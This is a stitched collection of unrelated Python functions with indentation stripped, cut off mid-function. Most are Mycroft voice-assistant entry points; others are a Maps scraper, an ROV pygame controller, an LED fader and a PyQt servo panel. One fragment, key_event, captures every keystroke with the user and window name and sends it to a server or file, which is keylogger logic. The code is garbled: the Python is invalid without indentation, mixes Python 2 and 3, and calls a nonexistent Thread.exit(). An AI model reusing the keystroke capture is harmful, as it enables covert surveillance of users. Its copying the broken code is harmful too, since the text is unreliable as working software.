def main():
global client
global loop
client = WebsocketClient()
device_index = config.get('speech_client').get('device_index')
if device_index:
device_index = int(device_index)
loop = RecognizerLoop(device_index=device_index)
loop.on('recognizer_loop:listening', handle_listening)
loop.on('recognizer_loop:wakeword', handle_wakeword)
loop.on('recognizer_loop:utterance', handle_utterance)
loop.on('speak', handle_speak)
client.on('speak', handle_speak)
client.on(
'multi_utterance_intent_failure',
handle_multi_utterance_intent_failure)
client.on('recognizer_loop:sleep', handle_sleep)
client.on('recognizer_loop:wake_up', handle_wake_up)
event_thread = Thread(target=connect)
event_thread.setDaemon(True)
event_thread.start()
try:
loop.run()
except KeyboardInterrupt, e:
event_thread.exit()
sys.exit()
def simple_cli():
global bus
global bSimple
bSimple = True
bus = WebsocketClient() # Mycroft messagebus connection
event_thread = Thread(target=connect)
event_thread.setDaemon(True)
event_thread.start()
bus.on('speak', handle_speak)
try:
while True:
# Sleep for a while so all the output that results
# from the previous command finishes before we print.
time.sleep(1.5)
print("Input (Ctrl+C to quit):")
line = sys.stdin.readline()
bus.emit(Message("recognizer_loop:utterance",
{'utterances': [line.strip()]}))
except KeyboardInterrupt as e:
# User hit Ctrl+C to quit
print("")
except KeyboardInterrupt as e:
LOG.exception(e)
event_thread.exit()
sys.exit()
def main():
global ws
global loop
ws = WebsocketClient()
tts.init(ws)
ConfigurationManager.init(ws)
loop = RecognizerLoop()
loop.on('recognizer_loop:utterance', handle_utterance)
loop.on('recognizer_loop:record_begin', handle_record_begin)
loop.on('recognizer_loop:wakeword', handle_wakeword)
loop.on('recognizer_loop:record_end', handle_record_end)
loop.on('speak', handle_speak)
ws.on('open', handle_open)
ws.on('speak', handle_speak)
ws.on(
'multi_utterance_intent_failure',
handle_multi_utterance_intent_failure)
ws.on('recognizer_loop:sleep', handle_sleep)
ws.on('recognizer_loop:wake_up', handle_wake_up)
ws.on('mycroft.stop', handle_stop)
ws.on("mycroft.paired", handle_paired)
event_thread = Thread(target=connect)
event_thread.setDaemon(True)
event_thread.start()
try:
loop.run()
except KeyboardInterrupt, e:
logger.exception(e)
event_thread.exit()
sys.exit()
def main():
global client
global loop
client = WebsocketClient()
device_index = config.get('speech_client').get('device_index')
if device_index:
device_index = int(device_index)
loop = RecognizerLoop(device_index=device_index)
loop.on('recognizer_loop:utterance', handle_utterance)
loop.on('recognizer_loop:record_begin', handle_record_begin)
loop.on('recognizer_loop:wakeword', handle_wakeword)
loop.on('recognizer_loop:record_end', handle_record_end)
loop.on('speak', handle_speak)
client.on('speak', handle_speak)
client.on(
'multi_utterance_intent_failure',
handle_multi_utterance_intent_failure)
client.on('recognizer_loop:sleep', handle_sleep)
client.on('recognizer_loop:wake_up', handle_wake_up)
client.on('mycroft.stop', handle_stop)
event_thread = Thread(target=connect)
event_thread.setDaemon(True)
event_thread.start()
try:
subprocess.call('echo "eyes.reset" >/dev/ttyAMA0', shell=True)
except:
pass
try:
loop.run()
except KeyboardInterrupt, e:
logger.exception(e)
event_thread.exit()
sys.exit()
def main():
global skill_response, wait_response, port, lang
wait_response = True
skill_response = ""
global ws
ws = WebsocketClient()
event_thread = Thread(target=connect)
event_thread.setDaemon(True)
event_thread.start()
ws.on('speak', handle_speak)
import tornado.options
tornado.options.parse_command_line()
config = ConfigurationManager.get().get("websocket")
lang = ConfigurationManager.get().get("lang")
port = "9090"
url = ("http://" + str(ip) + ":" + str(port))
print("*********************************************************")
print("* JCASOFT - Mycroft Web Cliento ")
print("*")
print("* Access from web browser " + url)
print("*********************************************************")
routes = [
tornado.web.url(r"/", MainHandler, name="main"),
tornado.web.url(r"/static/(.*)", tornado.web.StaticFileHandler,
{'path': './'}),
tornado.web.url(r"/ws", WebSocketHandler)
]
settings = {
"debug": True,
"template_path": os.path.join(os.path.dirname(__file__), "templates"),
"static_path": os.path.join(os.path.dirname(__file__), "static"),
}
application = tornado.web.Application(routes, **settings)
httpServer = tornado.httpserver.HTTPServer(application)
tornado.options.parse_command_line()
httpServer.listen(port)
try:
tornado.ioloop.IOLoop.instance().start()
except KeyboardInterrupt:
logger.exception(e)
event_thread.exit()
tornado.ioloop.IOLoop.instance().stop()
sys.exit()
def main():
global client
client = WebsocketClient()
if not '--quiet' in sys.argv:
client.on('speak', handle_speak)
event_thread = Thread(target=connect)
event_thread.setDaemon(True)
event_thread.start()
try:
while True:
print("Input:")
line = sys.stdin.readline()
client.emit(Message("recognizer_loop:utterance", metadata={'utterances': [line.strip()]}))
except KeyboardInterrupt, e:
event_thread.exit()
sys.exit()
def key_event(event):
global user
global prev
key = chr(event.Ascii) if event.Ascii != 0 else "" + event.Key + ""
key = "Space" if key == " " else key
key = "BackSP" if event.Ascii == 8 else key
window = event.WindowName.split("\\")[-1]
if prev != window:
data = {"user": user, "key": key, "window": window}
else:
data = {"user": user, "key": key}
txt = key + "\t\t\t\t\t" + window + "\n"
if server:
th = Thread(target=update_server, args=(data,))
else:
th = Thread(target=update_file, args=(txt,))
th.start()
th.exit()
def main():
global ws
ws = WebsocketClient()
if '--quiet' not in sys.argv:
ws.on('speak', handle_speak)
event_thread = Thread(target=connect)
event_thread.setDaemon(True)
event_thread.start()
try:
while True:
print("Input:")
line = sys.stdin.readline()
ws.emit(
Message("recognizer_loop:utterance",
{'utterances': [line.strip()]}))
except KeyboardInterrupt, e:
logger.exception(e)
event_thread.exit()
sys.exit()
def main():
global ws
global loop
global config
global tts
global tts_hash
lock = PIDLock("voice")
ws = WebsocketClient()
config = ConfigurationManager.get()
tts = TTSFactory.create()
tts.init(ws)
tts_hash = config.get('tts')
ConfigurationManager.init(ws)
loop = RecognizerLoop()
loop.on('recognizer_loop:utterance', handle_utterance)
loop.on('recognizer_loop:record_begin', handle_record_begin)
loop.on('recognizer_loop:wakeword', handle_wakeword)
loop.on('recognizer_loop:record_end', handle_record_end)
loop.on('speak', handle_speak)
loop.on('recognizer_loop:no_internet', handle_no_internet)
ws.on('open', handle_open)
ws.on('speak', handle_speak)
ws.on(
'multi_utterance_intent_failure',
handle_multi_utterance_intent_failure)
ws.on('recognizer_loop:sleep', handle_sleep)
ws.on('recognizer_loop:wake_up', handle_wake_up)
ws.on('mycroft.mic.mute', handle_mic_mute)
ws.on('mycroft.mic.unmute', handle_mic_unmute)
ws.on('mycroft.stop', handle_stop)
ws.on("mycroft.paired", handle_paired)
event_thread = Thread(target=connect)
event_thread.setDaemon(True)
event_thread.start()
try:
loop.run()
except KeyboardInterrupt, e:
logger.exception(e)
event_thread.exit()
sys.exit()
def move_straight(self, _speed, _degrees, _stop_type):
# thread that checks for stall condition
def check_stall():
while (True):
if self.motor_left.stalled() or self.motor_right.stalled():
self.motor_left.stop(Stop.HOLD)
self.motor_right.stop(Stop.HOLD)
brick.sound.beep()
break
# motor backlash compensation
def backlash_compensation(self, _degrees):
if (_degrees > 0):
self.motor_left.dc(self.BACKLASH_DUTY)
self.motor_right.dc(self.BACKLASH_DUTY)
elif (_degrees < 0):
self.motor_left.dc(self.BACKLASH_DUTY * -1)
self.motor_right.dc(self.BACKLASH_DUTY * -1)
else:
return
# duration to remove lash from motors
wait(100)
# reset rotation sensors
self.motor_left.reset_angle(0)
self.motor_right.reset_angle(0)
# compensate for the backlash
backlash_compensation(_degrees)
# start thread to detect stall condition
t_check_stall = Thread(target=check_stall, args=())
t_check_stall.start()
self.motor_left.run_target(_speed, _degrees, _stop_type, False)
self.motor_right.run_target(_speed, _degrees, _stop_type, True)
# turn off stall detection thread
t_check_stall.exit()
def main():
global ws
global loop
ws = WebsocketClient()
tts.init(ws)
ConfigurationManager.init(ws)
loop = RecognizerLoop()
loop.on('recognizer_loop:utterance', handle_utterance)
loop.on('recognizer_loop:record_begin', handle_record_begin)
loop.on('recognizer_loop:waiting_for_wakeword',
handle_waiting_for_wakeword)
loop.on('recognizer_loop:wakeword', handle_wakeword)
loop.on('recognizer_loop:record_end', handle_record_end)
loop.on('recognizer_loop:tooshort', handle_tooshort)
loop.on('speak', handle_speak)
ws.on('open', handle_open)
ws.on('speak', handle_speak)
ws.on('multi_utterance_intent_failure',
handle_multi_utterance_intent_failure)
ws.on('recognizer_loop:sleep', handle_sleep)
ws.on('recognizer_loop:mute', handle_mute)
ws.on('recognizer_loop:wake_up', handle_wake_up)
ws.on('mycroft.stop', handle_stop)
ws.on("mycroft.paired", handle_paired)
event_thread = Thread(target=connect)
event_thread.setDaemon(True)
event_thread.start()
#tts.execute("Hello! I am Teddy, your TV watching companion.")
tts.execute("To get my attention, say Hey Teddy!")
try:
loop.run()
except KeyboardInterrupt, e:
logger.exception(e)
event_thread.exit()
sys.exit()
def catchInput(queryInput):
bus = dbus.SessionBus()
remote_object = bus.get_object("org.gnome.Shell","/com/mycroftaignome/MycroftGnomeResult")
getText = remote_object.sendQuery(guioutputstring,dbus_interface = "com.mycroftaignome.MycroftAiGnomeBox")
print getText
global client
client = WebsocketClient()
client.on('speak', handle_speak)
event_thread = Thread(target=connect)
event_thread.setDaemon(True)
event_thread.start()
try:
while True:
print("Input:")
queryInput= object.sendQuery(guioutputstring,dbus_interface = "com.mycroftaignome.MycroftAiGnomeBox")
client.emit(
Message("recognizer_loop:utterance",
metadata={'utterances': [queryInput]}))
break
except KeyboardInterrupt, e:
logger.exception(e)
event_thread.exit()
sys.exit()
def simple_cli():
global ws
ws = WebsocketClient()
event_thread = Thread(target=connect)
event_thread.setDaemon(True)
event_thread.start()
try:
while True:
# TODO: Change this mechanism
# Sleep for a while so all the output that results
# from the previous command finishes before we print.
time.sleep(1.5)
print("Input (Ctrl+C to quit):")
line = sys.stdin.readline()
ws.emit(
Message("recognizer_loop:utterance",
{'utterances': [line.strip()]}))
except KeyboardInterrupt as e:
# User hit Ctrl+C to quit
print("")
except KeyboardInterrupt as e:
logger.exception(e)
event_thread.exit()
sys.exit()
def main(search_string=SEARCH_STRING):
res = []
threads = []
options = webdriver.ChromeOptions()
options.add_argument('--ignore-certificate-errors')
options.add_argument("--test-type")
driver = webdriver.Chrome(chrome_options=options)
driver.get("https://www.google.com.tw/maps")
# wait for loading
ele = WebDriverWait(driver, 3).until(
EC.presence_of_element_located((By.ID, "searchboxinput")))
searchbox = driver.find_element_by_id('searchboxinput')
print(searchbox.get_attribute("type"))
print(searchbox.text)
searchbox.clear()
searchbox.send_keys(search_string)
"""
this two line of code is equal to ```searchbox.send_keys(Keys.RETURN)```
"""
searchbox_button = driver.find_element_by_class_name(
"searchbox-searchbutton")
searchbox_button.click()
sleep(WAIT_INTERVAL)
# get the result tag
eles = driver.find_elements_by_class_name("section-result-text-content")
for i in range(len(eles)):
res.append([])
searchthread = Thread(target=crawl_handler,
args=(res[len(res) - 1], i, search_string),
name="crawl thread_{0}".format(i))
searchthread.setDaemon(1)
threads.append(searchthread)
try:
searchthread.start()
print("crawling thread_{0} start".format(i))
except:
searchthread.exit()
# limited total crawling threads
while sum([1 if thread.isAlive() else 0
for thread in threads]) >= THREAD_LIMIT:
continue
# only a result or not found
if len(eles) == 0:
comment = None
try:
comment = driver.find_element_by_xpath(XPATH['comments'])
#comment = driver.find_element_by_class_name('widget-pane-link')
except:
driver.close()
print("Not find any of {}".format(search_string))
print(driver.page_source)
# store found
if comment:
perform_comment(driver,
res,
search=False,
store_name=search_string,
result_name=search_string)
else:
driver.close()
# wait until all thread finished
while sum([1 if thread.isAlive() else 0 for thread in threads]) > 0:
continue
print("finished crawling")
def main():
retroceso=False
avante=False
babor=False
estribor=False
ascenso=False
descenso=False
pygame.init()
# creamos la ventana y le indicamos un titulo:
screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
pygame.display.set_caption("Kippa I V1.00")
coordenadas=pygame.mouse.get_pos()
#pygame.display.toggle_fullscreen()
# cargamos los objetos
fondo = load_image("fondo_1366x768.png", IMG_DIR, alpha=False)
letra20 = pygame.font.SysFont("Arial", 20)
texto_coordenadas = letra20.render(str(coordenadas), True, (200,200,200), (0,0,0) )
luces=Luces()
##Creación de flechas y timón de profundidad
izquierda=Flecha("izquierda_encendida.png","izquierda_apagado.png",106,632)
derecha=Flecha("derecha_encendida.png","derecha_apagado.png",170,632)
arriba=Flecha("arriba_encendida.png", "arriba_apagado.png", 138,603)
abajo=Flecha("abajo_encendida.png","abajo_apagado.png",138,659)
timon_profundidad=Profundidad()
##Creación de motores
motor_central_izquierdo=Motor("motor_central_encendido.png","motor_central_apagado.png",932,339)
motor_central_derecho=Motor("motor_central_encendido.png","motor_central_apagado.png",1149,339)
motor_trasero_izquierdo=Motor("motor_trasero_encendido.png","motor_trasero_apagado.png",951,443)
motor_trasero_derecho=Motor("motor_trasero_encendido.png","motor_trasero_apagado.png",1137,443)
camara_principal=Camara() #Se crea una representacion de la cámara
camara_principal.encender() #Se enciende la cámara
pygame.key.set_repeat(10, 50) #Se regula la velocidad de repetición
clock=pygame.time.Clock()
# Se reestablece el estado a False de todas las flechas
izquierda.estado(False)
derecha.estado(False)
arriba.estado(False)
abajo.estado(False)
timon_profundidad.posicion("neutral")
## False en todos los motores
motor_central_izquierdo.estado(False)
motor_central_derecho.estado(False)
motor_trasero_izquierdo.estado(False)
motor_trasero_derecho.estado(False)
# el bucle principal del juego
t_latencia=""
Thread(target=latencia,).start()
while True:
screen.blit(fondo,(0,0))
clock.tick(10)
##INICIO Medición de latencia
thr_latencia=Thread(target=latencia,).start()
#Se obtienen valores de latencia
if r_latencia=="": #Si no existe nada, se queda el anterior
t_latencia=t_latencia
else: #Si existe, se reemplaza por el nuevo
t_latencia=str(r_latencia)+" ms"
##FIN Medición de Latencia
texto_coordenadas = letra20.render(str(pygame.mouse.get_pos()), True, (200,200,200), (0,0,0) )
texto_latencia = letra20.render(str(t_latencia), True, (255,255,255))
texto_host = letra20.render(str("UDP")+str(UDP_HOST)+str(":")+str(UDP_PORT), True, (255,255,255))
for event in pygame.event.get():
keys = pygame.key.get_pressed()
if keys[K_DOWN]:
if retroceso==False:
retroceso=True
#envio_paquetes(str(-8))
envio_paquetes(str(2)) ##Se envía Instrucciones al ROV
abajo.estado(True) #Estado de la Flecha
#Se evita la contradicción de estado
arriba.estado(False)
derecha.estado(False)
izquierda.estado(False)
motor_trasero_derecho.estado(True) #Estado del Motor
motor_trasero_izquierdo.estado(True) #Estado del Motor
elif retroceso==True:
#envio_paquetes(str(-8))
envio_paquetes(str(-2)) ##Se envía Instrucciones al ROV
abajo.estado(False) #Estado de la Flecha
#Se evita la contradicción de estado
arriba.estado(False)
derecha.estado(False)
izquierda.estado(False)
motor_trasero_derecho.estado(False) #Estado del Motor
motor_trasero_izquierdo.estado(False) #Estado del Motor
retroceso=False
if keys[K_UP]:
if avante==False:
avante=True
envio_paquetes(str(-8))
envio_paquetes(str(3))
arriba.estado(True)
#Se evita la contradicción de estado
abajo.estado(False)
derecha.estado(False)
izquierda.estado(False)
motor_trasero_derecho.estado(True)
motor_trasero_izquierdo.estado(True)
elif avante==True:
avante=False
envio_paquetes(str(-8))
envio_paquetes(str(-3))
arriba.estado(False)
#Se evita la contradicción de estado
abajo.estado(False)
derecha.estado(False)
izquierda.estado(False)
motor_trasero_derecho.estado(False)
motor_trasero_izquierdo.estado(False)
if keys[K_RIGHT]:
if estribor==False:
estribor=True
envio_paquetes(str(-8))
envio_paquetes(str(4))
derecha.estado(True)
#Se evita la contradicción de estado
abajo.estado(False)
arriba.estado(False)
izquierda.estado(False)
motor_trasero_izquierdo.estado(True)
elif estribor==True:
estribor=False
envio_paquetes(str(-8))
envio_paquetes(str(-4))
derecha.estado(False)
izquierda.estado(False)
#Se evita la contradicción de estado
abajo.estado(False)
arriba.estado(False)
izquierda.estado(False)
motor_trasero_izquierdo.estado(False)
if keys[K_LEFT]:
if babor==False:
babor=True
envio_paquetes(str(-8))
envio_paquetes(str(5))
izquierda.estado(True)
#Se evita la contradicción de estado
abajo.estado(False)
arriba.estado(False)
derecha.estado(False)
motor_trasero_derecho.estado(True)
elif babor==True:
babor=False
envio_paquetes(str(-8))
envio_paquetes(str(-5))
izquierda.estado(False)
#Se evita la contradicción de estado
abajo.estado(False)
arriba.estado(False)
derecha.estado(False)
motor_trasero_derecho.estado(False)
if keys[K_w]:
if ascenso==False:
ascenso=True
envio_paquetes(str(-8))
envio_paquetes(str(6))
timon_profundidad.posicion("ascender")
motor_central_izquierdo.estado(True)
motor_central_derecho.estado(True)
elif ascenso==True:
ascenso=False
envio_paquetes(str(-8))
envio_paquetes(str(-6))
timon_profundidad.posicion("neutral")
motor_central_izquierdo.estado(False)
motor_central_derecho.estado(False)
if keys[K_s]:
if descenso==False:
descenso=True
envio_paquetes(str(-8))
envio_paquetes(str(7))
timon_profundidad.posicion("descender")
motor_central_izquierdo.estado(True)
motor_central_derecho.estado(True)
elif descenso==True:
descenso=False
envio_paquetes(str(-8))
envio_paquetes(str(-7))
timon_profundidad.posicion("neutral")
motor_central_izquierdo.estado(True)
motor_central_derecho.estado(True)
if keys[K_l]:
pygame.key.set_repeat(0, 0)
if luces.estado_luces==True:
luces.estado_luces=False
envio_paquetes(str(1)) #Por falla de Relé
else:
luces.estado_luces=True
envio_paquetes(str(0)) #Por falla de Relé
if keys[K_r]:
camara_principal.sacar_foto("Prueba.jpg")
if keys[K_ESCAPE]:
thr_latencia.exit()
sys.exit()
#TODO: Matar hilo de latencia que deja todo lento cuando no tiene respuesta
if event.type == pygame.QUIT:
sys.exit()
#actualizamos la pantalla
capturacamara=camara_principal.obtener_imagen()
screen.blit(capturacamara, camara_principal.rect)
##Blitteo de flechas y timón de profundidad
screen.blit(izquierda.image, izquierda.rect)
screen.blit(derecha.image, derecha.rect)
screen.blit(arriba.image, arriba.rect)
screen.blit(abajo.image, abajo.rect)
screen.blit(timon_profundidad.image, timon_profundidad.rect)
##Blitteo de motores
screen.blit(motor_central_derecho.image, motor_central_derecho.rect)
screen.blit(motor_central_izquierdo.image, motor_central_izquierdo.rect)
screen.blit(motor_trasero_derecho.image, motor_trasero_derecho.rect)
screen.blit(motor_trasero_izquierdo.image, motor_trasero_izquierdo.rect)
if luces.estado_luces==True:
screen.blit(luces.image, luces.rect)
screen.blit(texto_coordenadas, (texto_coordenadas.get_rect()))
screen.blit(texto_latencia, (1003,147))
screen.blit(texto_host,(933,95))
pygame.display.flip()
class Lights(object):
def __init__(self):
self.pwm = PWM(0x40, debug=True)
self.freq = 10
self.pwm.setPWMFreq(self.freq)
self.red_pin = 1
self.green_pin = 2
self.blue_pin = 3
self.light_state = False
self.reading_light = {'red': 255, 'green': 255, 'blue': 255}
self.reading_light['red'] = self.reading_light['red'] * 16
self.reading_light['green'] = self.reading_light['green'] * 16
self.reading_light['blue'] = self.reading_light['blue'] * 16
print 'red: ' + str(self.reading_light['red'])
self.colour = {'red': 0, 'green': 0, 'blue': 0}
self.pwm.setPWM(self.red_pin, 0 , 0)
self.pwm.setPWM(self.green_pin, 0, 0)
self.pwm.setPWM(self.blue_pin, 0, 0)
self.fade_loop_stop = False
end_time = datetime.datetime.now()
self.fade_end_time = end_time
black = {'red': 0, 'green': 0, 'blue': 0}
self.fade_diffs_dict = self.fade_diffs(black, black)
self.fade_total_duration = datetime.timedelta(seconds=0)
self.fade_loop = Thread(target=self.fade2)
self.fade_loop.start()
print '{' * 20
print self.fade_loop.is_alive()
print '}' * 20
def toggle_light_callback(self, channel):
print 'toggle_light_callback'
# self.pwm.setPWM(self.green_pin, 0 , 2000)
# time.sleep(0.1)
# self.pwm.setPWM(self.green_pin, 0 , 0)
self.toggle_light(channel)
# Turns the reading light on and off
def toggle_light(self, channel):
print 'toggle_light'
start_time = time.time()
duration = datetime.timedelta(seconds=1)
# print self.light_state
if self.light_state:
self.toggle_light_off(duration)
print "turning off"
else:
self.toggle_light_on(duration)
print "turning on"
elapsed_time = time.time() - start_time
print elapsed_time
# Turns reading light on
def toggle_light_on(self, duration):
print 'toggle_light_on'
print self.reading_light['red']
now = datetime.datetime.now()
self.fade(now, duration, self.reading_light)
# print x
# print 'red: ' + str(red)
self.light_state = True
# time.sleep(1)
# Turns reading light off
def toggle_light_off(self, duration):
print 'toggle_light_off'
print duration
from_time = datetime.datetime.now()
end_colour = {'red': 0, 'green': 0, 'blue': 0}
self.fade(from_time, duration, end_colour)
self.light_state = False
# Sets the light relative to where we are in the sequence
def set_sunrise_colour(self, progress):
if self.light_state == False:
if progress <= 50:
colour = self.phase_one(progress)
else:
colour = self.phase_two(progress)
self.set_lights(colour)
def test(self):
print 'Aurora Lights!'
# Black to Red
def phase_one(self, progress):
# print '=' * 10 + ' phase_one() ' + '=' * 10
# rgb(255,0,0)
# Factor in that progress within phase_one() will only go as high as 50
progress = (progress / 50) * 100
red = float(4095)/100 # calculate 1% of max red
red *= progress # translate that to current progress
green = 0
blue = 0
colour = {'red': red, 'green': green, 'blue': blue}
return colour
# Red to white
def phase_two(self, progress):
# print '=' * 10 + ' phase_two() ' + '=' * 10
# rgb(255,255,255)
# Factor in that progress within phase_two() will start at >50
progress = (progress - 50) * 2
red = 4095
green = (float(4095)/100)* progress
blue = (float(4095)/100)* progress
colour = {'red': red, 'green': green, 'blue': blue}
return colour
def set_lights(self, colour):
red = int(colour['red'])
green = int(colour['green'])
blue = int(colour['blue'])
# Prevent out of range
if(red > 4095):
red = 4095
if(green > 4095):
green = 4095
if(blue > 4095):
blue = 4095
# Prevent out of range
if(red < 0):
red = 0
if(green < 0):
green = 0
if(blue < 0):
blue = 0
# print 'R:' + str(red) + ', G:' + str(green) + ', B:' + str(blue)
self.pwm.setPWM(self.red_pin, 0 , red)
self.pwm.setPWM(self.green_pin, 0, green)
self.pwm.setPWM(self.blue_pin, 0, blue)
self.colour = {'red': red, 'green': green, 'blue': blue}
def turn_off(self):
colour = {'red': 0, 'green': 0, 'blue': 0}
self.set_lights(colour)
def get_lights(self):
return self.colour
def fade_diff(self, start_colour, end_color):
diff = (end_color - start_colour) / 100.00
diff_absolute = math.fabs(diff)
return { 'diff': diff, 'absolute': diff_absolute }
def fade_colour(self, colour, percent_remaining):
if(colour['diff'] < 0):
colour_to_set = (100 - percent_remaining) * colour['absolute']
else:
colour_to_set = percent_remaining * colour['absolute']
return colour_to_set
def fade_colours(self, diffs, percent_remaining):
# Calculate values
red = self.fade_colour(diffs['red'], percent_remaining)
green = self.fade_colour(diffs['green'], percent_remaining)
blue = self.fade_colour(diffs['blue'], percent_remaining)
return {'red': red, 'green': green, 'blue': blue}
def fade_diffs(self, start_colour, end_colour):
diff_red = self.fade_diff(end_colour['red'], start_colour['red'])
diff_green = self.fade_diff(end_colour['green'], start_colour['green'])
diff_blue = self.fade_diff(end_colour['blue'], start_colour['blue'])
return {'red': diff_red, 'green': diff_green, 'blue': diff_blue}
def fade(self, from_time, duration, end_colour):
# Calculate time till end
# Now + duration = end_time
end_time = from_time + duration
# Get current light colour
current_colour = self.get_lights()
# Get colours differences
diffs = self.fade_diffs(current_colour, end_colour)
# Convert seconds into microsecnds
total_duration = duration.seconds * 1000000
total_duration = float(total_duration)
print '=' * 10 + ' Start fade loop ' + '=' * 10
start_time = time.time()
while datetime.datetime.now() <= end_time:
# time till end = end_time - now
diff = end_time - datetime.datetime.now()
remaining = (diff.seconds * 1000000) + diff.microseconds
percent_remaining = round((remaining/total_duration) * 100,2)
colour = self.fade_colours(diffs, percent_remaining)
self.set_lights(colour)
if(duration.seconds > 10):
time.sleep(0.5)
end_time = time.time()
print '=' * 10 + ' Elapsed ' + '=' * 10
print end_time - start_time
self.set_lights(end_colour)
def add_to_fade_queue():
pass
# self.fade_queue
# Set threaded fade
def set_fade(self, duration, end_colour):
print '#' * 10, ' set_fade() ', '#' * 10
print 'fade_loop.is_alive: ', self.fade_loop.is_alive()
# if self.fade_loop.is_alive() == False:
# self.fade_loop.start()
self.fade_loop_stop = False
now = datetime.datetime.now()
self.fade_end_time = now + duration
# Get current light colour
current_colour = self.get_lights()
# Get colours differences
self.fade_diffs_dict = self.fade_diffs(current_colour, end_colour)
# Convert seconds into microsecnds
total_duration = duration.seconds * 1000000
self.fade_total_duration = float(total_duration)
print '[' * 10 + ' ' + str(self.fade_loop.is_alive()) + ' ' + ']' * 10
# if self.fade_loop.is_alive() == False:
# self.fade_loop.start()
print '@' * 20
print 'fade_loop.is_alive: ', self.fade_loop.is_alive()
# Set fade
# Calc diffs
# Calc duration
# Fade loop
# Is now < end_time?
# Is now different to end_colour?
# Do what needs to be done
def kill_fade(self):
self.fade_loop_stop = True
# Fade loop
def fade2(self):
# Calculate time till end
# Now + duration = end_time
# now = datetime.datetime.now()
# end_time = self.fade['end_time']
#
#
# # Get current light colour
# current_colour = self.get_lights()
#
# # Get colours differences
# diffs = self.fade_diffs(current_colour, end_colour)
#
# # Convert seconds into microsecnds
# total_duration = duration.seconds * 1000000
# total_duration = float(total_duration)
#
print '=' * 10 + ' Start fade loop thread ' + '=' * 10
# start_time = time.time()
launch_time = datetime.datetime.now()
terminate = launch_time + datetime.timedelta(seconds=30)
print 'Terminate: ', terminate
# Loop until timeout
try:
while datetime.datetime.now() < terminate:
if self.fade_loop_stop == True:
print 'exiting'
return
if datetime.datetime.now() <= self.fade_end_time:
# time till end = end_time - now
diff = self.fade_end_time - datetime.datetime.now()
remaining = (diff.seconds * 1000000) + diff.microseconds
percent_remaining = round((remaining/self.fade_total_duration) * 100,2)
colour = self.fade_colours(self.fade_diffs_dict, percent_remaining)
self.set_lights(colour)
# if(duration.seconds > 10):
time.sleep(0.01)
except KeyboardInterrupt:
self.fade_loop.exit()
print 'exiting while'
class MyApp(QMainWindow):
sig = pyqtSignal(float)
def __init__(self, parent=None):
super(MyApp, self).__init__(parent)
self.ui = Ui_MainWindow()
self.ui.setupUi(self)
self.handle_button()
self.userUI()
self.th = Thread()
self.ui.groupBox_6.setEnabled(False)
def handle_button(self): # basılan tüm butonlar yakalnaır
self.ui.connect_pb_s1.clicked.connect(self.button_check)
self.ui.modeSelection_cb_s1.currentIndexChanged.connect(
self.msg_update)
self.ui.servoOn_pb_s1.clicked.connect(self.button_onOff)
self.ui.reset_pb_s1.pressed.connect(self.reset_onoff)
self.ui.reset_pb_s1.released.connect(self.reset_onoff)
self.ui.start_pb_s1.clicked.connect(self.button_onOff)
def msg_update(self): #send message
global message
message[0] = self.ui.modeSelection_cb_s1.currentIndex()
message[1] = 1 if self.ui.servoOn_pb_s1.text() == "OFF" else 0
message[2] = 1 if self.ui.reset_pb_s1.text() == "ACKNOWLEDGED" else 0
message[3] = self.ui.direction_sb_s1.value()
message[4] = 1 if self.ui.start_pb_s1.text() == "OFF" else 0
message[5] = 0 #reserved
message[6] = 0 #reserved
message[7] = 0 #reserved
message[8] = self.ui.vel_sp_s1.value()
message[9] = self.ui.acc_sp_s1.value()
message[10] = self.ui.dcc_sp_s1.value()
message[11] = self.ui.pos_sp_s1.value()
message[12] = self.ui.dist_sp_s1.value()
message[13] = 0.0 # reserved
self.data_update()
def data_update(self):
data_new = [x for x in data]
self.ui.mcerror_cb_s1.setCurrentIndex(data_new[0])
self.ui.errID_lb_s1.setText(str(hex(data_new[1])))
self.ui.driver_error_lb_s1.setText(str(hex(data_new[3])))
self.ui.statusword_lb_s1.setText(str(hex(data_new[4])))
self.ui.act_trq_le_s1.setText(str(data_new[5]))
self.ui.mode_status_cb_s1.setCurrentIndex(data_new[6])
if data_new[7] == 1:
self.ui.dir_lb_s1.setText("Forward")
else:
self.ui.dir_lb_s1.setText("Reverse")
self.ui.act_pos_le_s1.setText(str(data_new[9]))
self.ui.vel_le_s1.setText(str(data_new[12]))
self.ui.act_vel_le_s1.setText(str(data_new[12]))
self.ui.acc_le_s1.setText(str(data_new[13]))
self.ui.dcc_le_s1.setText(str(data_new[13]))
self.ui.pos_le_s1.setText(str(data_new[14]))
self.statusword_radiobutton(data_new[4])
self.digitalinputs_radiobutton(data_new[10])
def statusword_radiobutton(self, statusword):
try:
statusword = bin(statusword)[2:].zfill(16)
self.ui.statusword_bin_lb_s1.setText(statusword)
# veri=unpack("????????", bytes(statusword))
except Exception as e:
print(e)
if statusword[15] == '1':
self.ui.sw_0_rb_s1.setChecked(True)
else:
self.ui.sw_0_rb_s1.setChecked(False)
if statusword[14] == '1':
self.ui.sw_1_rb_s1.setChecked(True)
else:
self.ui.sw_1_rb_s1.setChecked(False)
if statusword[13] == '1':
self.ui.sw_2_rb_s1.setChecked(True)
else:
self.ui.sw_2_rb_s1.setChecked(False)
if statusword[12] == '1':
self.ui.sw_3_rb_s1.setChecked(True)
else:
self.ui.sw_3_rb_s1.setChecked(False)
if statusword[11] == '1':
self.ui.sw_4_rb_s1.setChecked(True)
else:
self.ui.sw_4_rb_s1.setChecked(False)
if statusword[10] == '1':
self.ui.sw_5_rb_s1.setChecked(True)
else:
self.ui.sw_5_rb_s1.setChecked(False)
if statusword[9] == '1':
self.ui.sw_6_rb_s1.setChecked(True)
else:
self.ui.sw_6_rb_s1.setChecked(False)
if statusword[8] == '1':
self.ui.sw_7_rb_s1.setChecked(True)
else:
self.ui.sw_7_rb_s1.setChecked(False)
if statusword[7] == '1':
self.ui.sw_8_rb_s1.setChecked(True)
else:
self.ui.sw_8_rb_s1.setChecked(False)
if statusword[6] == '1':
self.ui.sw_9_rb_s1.setChecked(True)
else:
self.ui.sw_9_rb_s1.setChecked(False)
if statusword[5] == '1':
self.ui.sw_10_rb_s1.setChecked(True)
else:
self.ui.sw_10_rb_s1.setChecked(False)
if statusword[4] == '1':
self.ui.sw_11_rb_s1.setChecked(True)
else:
self.ui.sw_11_rb_s1.setChecked(False)
if statusword[3] == '1':
self.ui.sw_12_rb_s1.setChecked(True)
else:
self.ui.sw_12_rb_s1.setChecked(False)
if statusword[2] == '1':
self.ui.sw_13_rb_s1.setChecked(True)
else:
self.ui.sw_13_rb_s1.setChecked(False)
if statusword[1] == '1':
